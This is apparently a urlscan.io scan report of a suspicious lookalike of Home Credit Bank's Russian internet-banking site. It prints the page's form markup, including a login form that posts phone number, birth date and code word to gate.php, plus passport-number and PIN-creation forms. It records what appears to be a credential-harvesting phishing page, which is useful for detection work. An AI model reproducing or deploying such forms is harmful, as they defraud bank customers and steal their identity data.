www.homecredit.fun
Open in
urlscan Pro
2a00:f940:2:2:1:4:0:102
Public Scan
URL:
https://www.homecredit.fun/
Submission: On August 21 via automatic, source certstream-suspicious
Submission: On August 21 via automatic, source certstream-suspicious
Form analysis
4 forms found in the DOMName: loginForm — POST gate.php
<form name="loginForm" method="POST" action="gate.php" class="login-form ng-pristine ng-valid-mask ng-invalid ng-invalid-required ng-valid-valid-format ng-valid-date" id="loginForm">
<fieldset ng-disabled="registerInProgress">
<div class="login-form-title ng-scope" translate="login4.loginForm.loginFormTitle">Интернет-банк</div>
<div class="login-form-text-input-wrapper">
<input class="phone-number-hidden" type="hidden">
<input id="loginPhoneNumber" maxlength="12" type="tel" class="login-form-text-input phone-number-input ng-pristine ng-valid-mask ng-empty ng-invalid ng-invalid-required ng-valid-valid-format ng-touched" ng-model="credentials.phoneNumber"
name="phoneNumber" ng-attr-placeholder="{{'login4.placeholders.phoneNumber' | translate}}" autocomplete="off" ui-mask="+7 (999) 999-99-99" ui-mask-placeholder="" ui-mask-placeholder-char="_"
ui-options="{clearOnBlur:false, clearOnBlurPlaceholder:true}" hc-phone-number="" ng-required="true" data-autotest="login-login" ng-keydown="keyEvent($event)" placeholder="Телефон" required="required" style="">
<!-- ngIf: loginForm.phoneNumber.$touched -->
<div class="login-form-text-input-message ng-scope ng-active" ng-messages="loginForm.phoneNumber.$error" ng-if="loginForm.phoneNumber.$touched" style="">
</div><!-- end ngIf: loginForm.phoneNumber.$touched -->
</div>
<div class="login-form-text-input-wrapper">
<input id="loginBirthDate" type="tel" class="mask-date login-form-text-input birth-date-input ng-pristine ng-untouched ng-isolate-scope ng-valid-mask ng-empty ng-invalid ng-invalid-required ng-valid-date"
ng-class="{ 'date-incorrect' : isDateInvalid(credentials.birthDate) }" ng-model="credentials.birthDate" name="birthDate" ng-attr-placeholder="{{'login4.placeholders.birthDate' | translate}}" autocomplete="off" ui-mask="99.99.9999"
ui-mask-placeholder="" ui-options="{clearOnBlur:false, clearOnBlurPlaceholder:true}" model-view-value="true" uib-datepicker-popup="dd.MM.yyyy" is-open="login.dateOpened" datepicker-options="{formatYear: 'yyyy', startingDay: 1}"
ng-required="true" data-autotest="login-password" ng-keydown="keyEvent($event)" placeholder="Дата рождения" required="required">
<div uib-datepicker-popup-wrap="" ng-model="date" ng-change="dateSelection(date)" template-url="uib/template/datepickerPopup/popup.html" class="ng-pristine ng-untouched ng-valid ng-scope ng-empty">
<!-- ngIf: isOpen -->
</div>
<!-- ngIf: loginForm.birthDate.$touched -->
<!-- ngIf: loginForm.birthDate.$touched && loginForm.birthDate.$valid && isDateInvalid(credentials.birthDate) -->
</div>
<div class="login-form-text-input-wrapper">
<input id="loginBirthDate" maxlength="8" type="tel" class="login-form-text-input birth-date-input ng-pristine ng-untouched ng-isolate-scope ng-valid-mask ng-empty ng-invalid ng-invalid-required ng-valid-date"
ng-class="{ 'date-incorrect' : isDateInvalid(credentials.birthDate) }" ng-model="credentials.birthDate" name="codewords" ng-attr-placeholder="{{'login4.placeholders.birthDate' | translate}}" autocomplete="off" ui-mask="99.99.9999"
ui-mask-placeholder="" ui-options="{clearOnBlur:false, clearOnBlurPlaceholder:true}" model-view-value="true" uib-datepicker-popup="dd.MM.yyyy" is-open="login.dateOpened" ng-required="true" data-autotest="login-password"
ng-keydown="keyEvent($event)" placeholder="Кодовое слово" required="required">
<div uib-datepicker-popup-wrap="" ng-model="date" ng-change="dateSelection(date)" template-url="uib/template/datepickerPopup/popup.html" class="ng-pristine ng-untouched ng-valid ng-scope ng-empty">
<!-- ngIf: isOpen -->
</div>
<!-- ngIf: loginForm.birthDate.$touched -->
<!-- ngIf: loginForm.birthDate.$touched && loginForm.birthDate.$valid && isDateInvalid(credentials.birthDate) -->
</div>
<div class="captcha-wrapper">
<!-- ngIf: !captcha.loading && captcha.show -->
<!-- ngIf: loginForm.captcha.$touched -->
</div>
<div class="login-form-checkbox">
<label>
<input id="loginForeignComputer" data-autotest="login-foreignComputer" type="checkbox" ng-model="credentials.foreignComputer" class="ng-pristine ng-untouched ng-valid ng-empty">
<span class="login-form-checkbox-img"></span>
<span class="login-form-checkbox-text ng-scope" translate="login4.loginForm.foreignComputer">Чужой компьютер</span>
</label>
</div>
<hc-button class="red ng-isolate-scope" action="register()" is-disabled="registerInProgress" data-autotest="login-submit" text="Продолжить" show-wait-indicator="registerInProgress">
<button ng-class="{'loading' : showWaitIndicator}" class="hc-button button red ng-isolate-scope" ng-click="isDisabled || action()" ng-disabled="isDisabled">
<div class="button-text ng-binding uppercase" ng-class="{ 'uppercase' : isUpperCase }">Продолжить</div>
<div class="button-loader">
<hc-circles-loader class="ng-isolate-scope">
<div class="hc-circles-loader">
<div class="bounce1" ng-style="{'background-color': color}" style="background-color: rgb(255, 255, 255);"></div>
<div class="bounce2" ng-style="{'background-color': color}" style="background-color: rgb(255, 255, 255);"></div>
<div class="bounce3" ng-style="{'background-color': color}" style="background-color: rgb(255, 255, 255);"></div>
</div>
</hc-circles-loader>
</div>
</button>
</hc-button>
<!-- ngIf: errorMessages && errorMessages.length -->
<div class="login-form-link-ib">
<div class="login-form-link-ib-text ng-scope" translate="login4.loginForm.loginLinkIbText"></div>
<a class="login-form-link-ib-text ng-scope" href="https://ib.homecredit.ru/" translate="login4.loginForm.loginLinkIb"></a>
</div>
</fieldset>
</form>
Name: passportForm —
<form name="passportForm" id="passportForm" class="passport-form ng-pristine ng-valid ng-valid-mask">
<fieldset ng-disabled="sendingData">
<div class="passport-form-text-input-wrapper series-wrapper">
<input id="passportSeriesInputV4" name="passportSeries" class="passport-form-text-input ng-pristine ng-untouched ng-valid ng-valid-mask ng-empty" ng-class="{'ng-invalid ng-touched': !valid.series}" ng-model="passport.series"
ng-attr-placeholder="{{'login4.placeholders.passportSeries' | translate}}" ui-mask="?9?9?9?9" ui-mask-placeholder="" ui-mask-placeholder-char="space" ui-options="{clearOnBlur:false, clearOnBlurPlaceholder:true}" autocomplete="off"
data-autotest="passport-series" ng-blur="checkFields()" ng-change="onChangeSeries()" placeholder="Серия">
<div class="error-stub">
<!-- ngIf: passportForm.passportSeries.$touched -->
</div>
</div>
<div class="passport-form-text-input-wrapper number-wrapper">
<input id="passportNumberInputV4" name="passportNumber" class="passport-form-text-input ng-pristine ng-untouched ng-valid ng-valid-mask ng-empty" ng-class="{'ng-invalid ng-touched': !valid.number}" ng-model="passport.number"
ng-attr-placeholder="{{'login4.placeholders.passportNumber' | translate}}" ui-mask="?9?9?9?9?9?9" ui-mask-placeholder="" ui-mask-placeholder-char="space" ui-options="{clearOnBlur:false, clearOnBlurPlaceholder:true}" autocomplete="off"
data-autotest="passport-number" ng-blur="checkFields()" ng-change="onChangeNumber()" ng-keydown="keyEvent($event)" placeholder="Номер">
<div class="error-stub">
<!-- ngIf: passportForm.passportNumber.$touched -->
</div>
</div>
<hr>
<div class="passport-img"></div>
</fieldset>
</form>
Name: pinCodeForm —
<form ng-show="!sendingData" name="pinCodeForm" id="pinCodeForm" class="ng-pristine ng-invalid ng-invalid-required ng-valid-mask">
<fieldset ng-disabled="sendingData" ng-hide="nextStep" class="">
<div class="text">
<div ng-show="isSessionExpired && PinFormState == PinFormStateEnum.Enter" class="ng-hide">
<div class="mobileWelcome">
<div class="ng-binding"></div>
<div class="ng-binding"></div>
</div>
</div>
<div ng-show="!isSessionExpired && PinFormState == PinFormStateEnum.Enter" class="ng-hide">
<div data-autotest="login-pinCode-welcome" ng-hide="userName" class="mobileWelcome ng-scope" translate="login4.pinCode.welcome">Добро пожаловать!</div>
<div ng-show="userName" class="mobileWelcome ng-hide">
<div class="ng-binding"></div>
</div>
</div>
<div ng-show="isChangeUserPin()" class="ng-hide">
<div class="mobileWelcome">
<div> </div>
</div>
</div>
<div ng-hide="isSessionExpired && PinFormState == PinFormStateEnum.Enter" data-autotest="login-pinCode-title" class="mobileWelcome"> Создайте код доступа </div>
</div>
<code-input code-value="pinCodeValue" show-pin="showPin" is-locked="isLocked || !showPin" class="pin-input ng-isolate-scope">
<div class="code-input-container">
<input id="codeInput" name="code" type="tel" ng-class="showPin ? 'IsPassword' : ''" class="code-input-field ng-pristine ng-untouched ng-empty ng-invalid ng-invalid-required ng-valid-mask" ng-model="codeValue" dynamic-ui-mask="9?9?9?9?"
dynamic-ui-mask-placeholder-char="none" dynamic-ui-options="{clearOnBlur:false, clearOnBlurPlaceholder:true}" autocomplete="off" autofocus="" ng-disabled="isLocked" required="" data-autotest="codeInput" ng-focus="codeInputOnFocus()"
ng-keyup="codeInputOnEnter($event)" placeholder="" disabled="disabled">
<div class="code-input-bottom-border">
<div class="code-input-bottom-border-item"></div>
<div class="code-input-bottom-border-item"></div>
<div class="code-input-bottom-border-item"></div>
<div class="code-input-bottom-border-item"></div>
</div>
</div>
</code-input>
<div class="pin-input-circles">
<!-- ngRepeat: i in [1,2,3,4] track by $index -->
<div ng-repeat="i in [1,2,3,4] track by $index" class="pin-circle ng-scope" ng-class="{'pin-circle-filled': pinCodeValue && pinCodeValue.length >= i}"></div><!-- end ngRepeat: i in [1,2,3,4] track by $index -->
<div ng-repeat="i in [1,2,3,4] track by $index" class="pin-circle ng-scope" ng-class="{'pin-circle-filled': pinCodeValue && pinCodeValue.length >= i}"></div><!-- end ngRepeat: i in [1,2,3,4] track by $index -->
<div ng-repeat="i in [1,2,3,4] track by $index" class="pin-circle ng-scope" ng-class="{'pin-circle-filled': pinCodeValue && pinCodeValue.length >= i}"></div><!-- end ngRepeat: i in [1,2,3,4] track by $index -->
<div ng-repeat="i in [1,2,3,4] track by $index" class="pin-circle ng-scope" ng-class="{'pin-circle-filled': pinCodeValue && pinCodeValue.length >= i}"></div><!-- end ngRepeat: i in [1,2,3,4] track by $index -->
</div>
<div class="pin-code-error-message">
<div class="error-text">
<!-- ngIf: errorMessage -->
<!-- ngIf: !errorMessage -->
<div ng-if="!errorMessage" class="ng-scope"> </div><!-- end ngIf: !errorMessage -->
</div>
</div>
<div id="numlock">
<!-- ngRepeat: num in nums -->
<div ng-repeat="num in nums" class="num ng-binding ng-scope" ng-click="addNum(num)">1</div><!-- end ngRepeat: num in nums -->
<div ng-repeat="num in nums" class="num ng-binding ng-scope" ng-click="addNum(num)">2</div><!-- end ngRepeat: num in nums -->
<div ng-repeat="num in nums" class="num ng-binding ng-scope" ng-click="addNum(num)">3</div><!-- end ngRepeat: num in nums -->
<div ng-repeat="num in nums" class="num ng-binding ng-scope" ng-click="addNum(num)">4</div><!-- end ngRepeat: num in nums -->
<div ng-repeat="num in nums" class="num ng-binding ng-scope" ng-click="addNum(num)">5</div><!-- end ngRepeat: num in nums -->
<div ng-repeat="num in nums" class="num ng-binding ng-scope" ng-click="addNum(num)">6</div><!-- end ngRepeat: num in nums -->
<div ng-repeat="num in nums" class="num ng-binding ng-scope" ng-click="addNum(num)">7</div><!-- end ngRepeat: num in nums -->
<div ng-repeat="num in nums" class="num ng-binding ng-scope" ng-click="addNum(num)">8</div><!-- end ngRepeat: num in nums -->
<div ng-repeat="num in nums" class="num ng-binding ng-scope" ng-click="addNum(num)">9</div><!-- end ngRepeat: num in nums -->
<div ng-repeat="num in nums" class="num ng-binding ng-scope" ng-click="addNum(num)">0</div><!-- end ngRepeat: num in nums -->
<div class="num change-pin-delete ng-hide" ng-show="pinCodeValue && pinCodeValue.length && isChangeUserPin()" ng-click="deleteNum(num)"></div>
<div class="change-pin-delete-space ng-hide" ng-show="!(pinCodeValue && pinCodeValue.length) && isChangeUserPin()"></div>
<change-user-button-v4 ng-hide="pinCodeValue && pinCodeValue.length || isChangeUserPin()" caption="login4.changeUserButton" class="change-user-wrapper ng-isolate-scope"><button id="login4ChangeUserButton" type="button"
class="change-user-button-v4 ng-scope" translate="login4.changeUserButton" ng-click="changeUser()" data-autotest="login-change-user">Сменить пользователя</button></change-user-button-v4>
<button type="button" ng-show="pinCodeValue && pinCodeValue.length && !isChangeUserPin()" class="change-user-button-v4 delete-num-btn ng-scope ng-hide" ng-click="deleteNum()" translate="login4.pinCode.delete">Удалить</button>
<button id="loginForgotPinButton" type="button" ng-show="PinFormState == PinFormStateEnum.Enter" class="change-user-button-v4 reset-code ng-scope ng-hide" ng-click="forgotPinCode()" translate="login4.pinCode.forgot"
data-autotest="login-pinCode-forgot">Забыли код?</button>
<div ng-hide="PinFormState == PinFormStateEnum.Enter" class="reset-code"></div>
</div>
</fieldset>
</form>
Name: restoreCodeForm —
<form name="restoreCodeForm" class="restore-form ng-pristine ng-valid-mask ng-invalid ng-invalid-required ng-valid-date" id="restoreCodeForm">
<fieldset ng-disabled="registerInProgress">
<div class="restore-form-title ng-scope" translate="login4.restoreCode.enterDate">Введите дату своего рождения</div>
<div class="restore-form-text-input-wrapper">
<input id="loginRestorePinDate" class="restore-form-text-input ng-pristine ng-untouched ng-isolate-scope ng-valid-mask ng-empty ng-invalid ng-invalid-required ng-valid-date" ng-class="{ 'date-incorrect' : isDateInvalid(birthDate) }"
ng-model="birthDate" name="birthDateField" ng-attr-placeholder="{{'login4.placeholders.birthDate' | translate}}" autocomplete="off" ui-mask="99.99.9999" ui-mask-placeholder="" ui-options="{clearOnBlur:false, clearOnBlurPlaceholder:true}"
model-view-value="true" uib-datepicker-popup="dd.MM.yyyy" is-open="login.dateOpened" datepicker-options="{formatYear: 'yyyy', startingDay: 1}" ng-required="true" placeholder="Дата рождения" required="required">
<div uib-datepicker-popup-wrap="" ng-model="date" ng-change="dateSelection(date)" template-url="uib/template/datepickerPopup/popup.html" class="ng-pristine ng-untouched ng-valid ng-scope ng-empty">
<!-- ngIf: isOpen -->
</div>
</div>
<hc-button class="red ng-isolate-scope" action="restore()" text="Далее" show-wait-indicator="registerInProgress">
<div ng-class="{'loading' : showWaitIndicator}" class="hc-button button red ng-isolate-scope" ng-click="isDisabled || action()" ng-disabled="isDisabled">
<div class="button-text ng-binding uppercase" ng-class="{ 'uppercase' : isUpperCase }">Далее</div>
<div class="button-loader">
<hc-circles-loader class="ng-isolate-scope">
<div class="hc-circles-loader">
<div class="bounce1" ng-style="{'background-color': color}" style="background-color: rgb(255, 255, 255);"></div>
<div class="bounce2" ng-style="{'background-color': color}" style="background-color: rgb(255, 255, 255);"></div>
<div class="bounce3" ng-style="{'background-color': color}" style="background-color: rgb(255, 255, 255);"></div>
</div>
</hc-circles-loader>
</div>
</div>
</hc-button>
<!-- ngIf: errorMessage -->
<!-- ngIf: restoreCodeForm.birthDateField.$touched -->
<!-- ngIf: isShowValidationError() -->
</fieldset>
</form>
Text Content
ApiServerVersion: WebProxyVersion: WebClientVersion: Интернет-банк: просто открыть, легко использовать! * Оплачивайте кредит без комиссии картой любого банка * Вовремя узнавайте дату и сумму следующего платежа * Проверяйте, что деньги пришли вовремя * Открывайте вклады и оформляйте карты онлайн * Совершайте переводы на карты любых банков * Получайте выгодные предложения от банка Интернет-банк Чужой компьютер Продолжить Для подтверждения данных введите серию и номер паспорта -------------------------------------------------------------------------------- Продолжить Добро пожаловать! Создайте код доступа 1 2 3 4 5 6 7 8 9 0 Сменить пользователя Удалить Забыли код? Сменить пользователя Отменить Введите дату своего рождения Далее Сменить пользователя